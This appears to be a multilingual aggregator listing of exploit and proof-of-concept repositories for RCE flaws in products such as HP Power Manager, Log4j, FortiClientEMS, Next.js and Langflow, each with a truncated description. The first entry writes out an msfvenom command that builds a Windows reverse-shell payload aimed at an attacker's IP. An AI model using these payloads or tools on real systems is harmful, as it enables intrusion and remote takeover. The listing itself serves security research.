CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

CVE-2023-50564_Pluck-v4.7.18_PoC

CVE-2023-50564 PoC इस रिपॉजिटरी में Pluck CMS संस्करण 4.7.18 में CVE-2023-50564 भेद्यता के लिए एक प्रूफ ऑफ कॉन्सेप्ट PoC शामिल है। विवरण CVE-2023-50564 एक भेद्यता है जो Pluck CMS संस्करण 4.7.18 में अनधिकृत फ़ाइल अपलोड की अनुमति देती है। यह एक्सप्लॉइट मॉड्यूल इंस्टॉलेशन फ़ंक्शन में एक दोष का फायदा...

java-remote-class-loader

Esta ferramenta permite-lhe enviar bytecode Java na forma de ficheiros de classe para os seus clientes ou potenciais alvos para carregar e executar usando Java ClassLoader juntamente com a API Reflect. O cliente recebe o ficheiro de classe do servidor e retorna o respetivo resultado da execução. ...

java-remote-class-loader

This tool allows you to send Java bytecode in the form of class files to your clients or potential targets to load and execute using Java ClassLoader together with Reflect API. The client receives the class file from the server and return the respective execution output. Payloads must be written ...

CVE-2024-30850-chaos-rat-rce-poc

CHAOS RAT v5.01 वेब पैनल RCE CVE-2024-30850, CVE-2024-31839 https://github.com/tiagorlampert/CHAOS यह एक्सप्लॉइट एक XSS CVE-2024-31839 के लिए एजेंट कॉलबैक को स्पूफ करके, और एडमिन वेब पैनल में कमांड इंजेक्शन भेद्यता CVE-2024-30850 का शोषण करने के लिए XSS का लाभ उठाकर काम करता है। इससे RAT सर्वर से...

CVE-2026-39387

CVE-2026-39387 — Upload de Arquivo Autenticado para RCE via Injeção de Template no BoidCMS Descrição BoidCMS = 2.1.2 permite que um atacante autenticado obtenha Execução Remota de Código RCE combinando duas fraquezas: 1. Upload de arquivo irrestrito — o endpoint de upload de mídia aceita arquivos...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : FortiClientEMS में Pre-Auth SQLi RCE FortiClientEMS 7.4.4 में बिना प्रमाणीकरण के SQL Injection एडमिन GUI पर भेजे गए विशेष रूप से तैयार HTTP अनुरोधों के माध्यम से संभावित Remote Code Execution 📋 अवलोकन CVE-2026-21643 केवल Fortinet FortiClient Endpoint Management...

ermir

Ermir Ermir is an Evil/Rogue RMI Registry, it exploits unsecure deserialization on any Java code calling standard RMI methods on it list/lookup/bind/rebind/unbind. Requirements Ruby v3 or newer. Installation Install Ermir from rubygems.org: root@kitploit: $ gem install ermir or clone the repo and...

CVE-2021-44228

CVE-2021-44228 Log4j2コンポーネントコマンド実行RCE Code By:Junsheng @橘子网络安全实验室 橘子网络安全实验室 https://0range.team/ 0x00 リスク概要 本ツールは認可されたセキュリティテストのみに使用してください。未承認の不正攻撃サイトへの使用は禁止です オンラインで《中華人民共和国ネットワーク安全法》を読む 0x01 ツールの使用方法 実行中のプロンプト 0x02 注意 本ツールはJNDIインジェクションツールを呼び出して脆弱性攻撃を行います 攻撃対象のアドレスは完全なパスを入力してください！...

react2shell-exploit

🐺 React2Shell-Exploit-Kensei CVE-2025-55182 - Next.js RCE - Execução Remota de Código Framework de exploração + laboratório vulnerável + validação com Burp Suite e Nuclei. Framework de exploração completo e ambiente de laboratório vulnerável para pesquisa de segurança e testes de penetração...

CVE-2025-53772

CVE-2025-53772 - Exploit de RCE no Microsoft Web Deploy Um exploit baseado em Python para CVE-2025-53772, uma vulnerabilidade de execução remota de código no Microsoft Web Deploy msdeploy causada por desserialização insegura de dados de cabeçalho HTTP. 🎬 Vídeo de POC Visão Geral da Vulnerabilidad...

CVE-2022-26809

Descrição da CVE CVE-2022-26809 - weakness in a core Windows component RPC earned a CVSS score of 9.8 not without a reason, as the attack does not require authentication and can be executed remotely over a network, and can result in remote code execution RCE with the privileges of the RPC service...

dubbo-rce

CVE-2023-23638 केवल सीखने और अनुसंधान के लिए ZooKeeper स्वयं तैयार करें परीक्षण वातावरण Java 8 है, अन्य संस्करणों का परीक्षण नहीं किया गया है, उपलब्धता की गारंटी नहीं है पुनरुत्पादन के लिए DemoComsumer में VM पैरामीटर जोड़ना आवश्यक है: -Ddubbo.hessian.allowNonSerializable=true, विवरण के लिए देखें...

CVE-2026-33017

CVE-2026-33017 — Langflow 인증 없는 RCE HoGent CyberSecurity II — 네트워크 침투 테스트 및 익스플로잇 NPE 학년도 2025–2026 개요 이 저장소는 Langflow ≤ 1.8.1 에서 발생하는 치명적인 인증 없는 원격 코드 실행RCE 취약점인 CVE-2026-33017 에 대한 완전한 랩 환경 및 익스플로잇 데모를 포함합니다. 인증 없이도 공격자는 /api/v1/buildpublictmp/flowid/flow 엔드포인트를 통해 서버에서 임의의 Python 코드를 실행할 수 있습니...

CVE-2026-3854

CVE-2026-3854: RCE في GitHub عبر حقن في ترويسة X-Stat ملخص عملي لكيفية عمل الثغرة التي اكتشفها فريق Wiz Research في خط أنابيب git push الداخلي لـ GitHub.com و GitHub Enterprise Server. تنبيه هذه المادة لأغراض تعليمية وبحثية في مجال الأمن الهجومي. تم إصلاح الثغرة بالفعل بواسطة GitHub في جميع...

CVE-2020-9548

CVE-2020-9548: Vulnerabilidade de Execução Remota de Código no FasterXML/jackson-databind...

openclaw-vuln-report

Rapport d'analyse de la vulnérabilité OpenClaw Interprétation en chinois de la faille de sécurité CVE-2026-25253 Lecture en ligne GitHub Pages: https://joseph19820124.github.io/openclaw-vuln-report/ Résumé de la vulnérabilité CVE : CVE-2026-25253 Score : CVSS 8.8 Élevé Type : Détournement WebSock...

Microsoft-CVE-2022-26809-The-Little-Boy

Microsoft-CVE-2022-26809（又名The Little Boy）- POC 针对CVE-2022-26809通过RPC实现RCE的POC将在此处更新。 我们正在识别漏洞代码，并在这里分享最简单的一键RCE。...

CVE-2020-11890

HK द्वारा निर्मित CVE-2020-11890: usergroup तालिका वर्ग में अनुचित इनपुट सत्यापन से टूटी हुई ACL कॉन्फ़िगरेशन से RCE तक पहुँच सकता है लिंक https://developer.joomla.org/security-centre/810-20200402-core-missing-checks-for-the-root-usergroup-in-usergroup-table.html PoC प्रभावित संस्करण: 3.9.17 से...

react2shell

React2Shell CVE-2025-55182 अप्रमाणित दूरस्थ कोड निष्पादन भेद्यता उर्फ React2Shell के लिए प्रूफ ऑफ कॉन्सेप्ट एक्सप्लॉइट। यह स्क्रिप्ट Next.js के निम्नलिखित संस्करणों पर शेल प्राप्त करने के लिए उपयोग की जाती है; 15.0.4 और नीचे 15.1.8 और नीचे 15.2.5 और नीचे 15.3.5 और नीचे 15.4.7 और नीचे 15.5.6 और नी...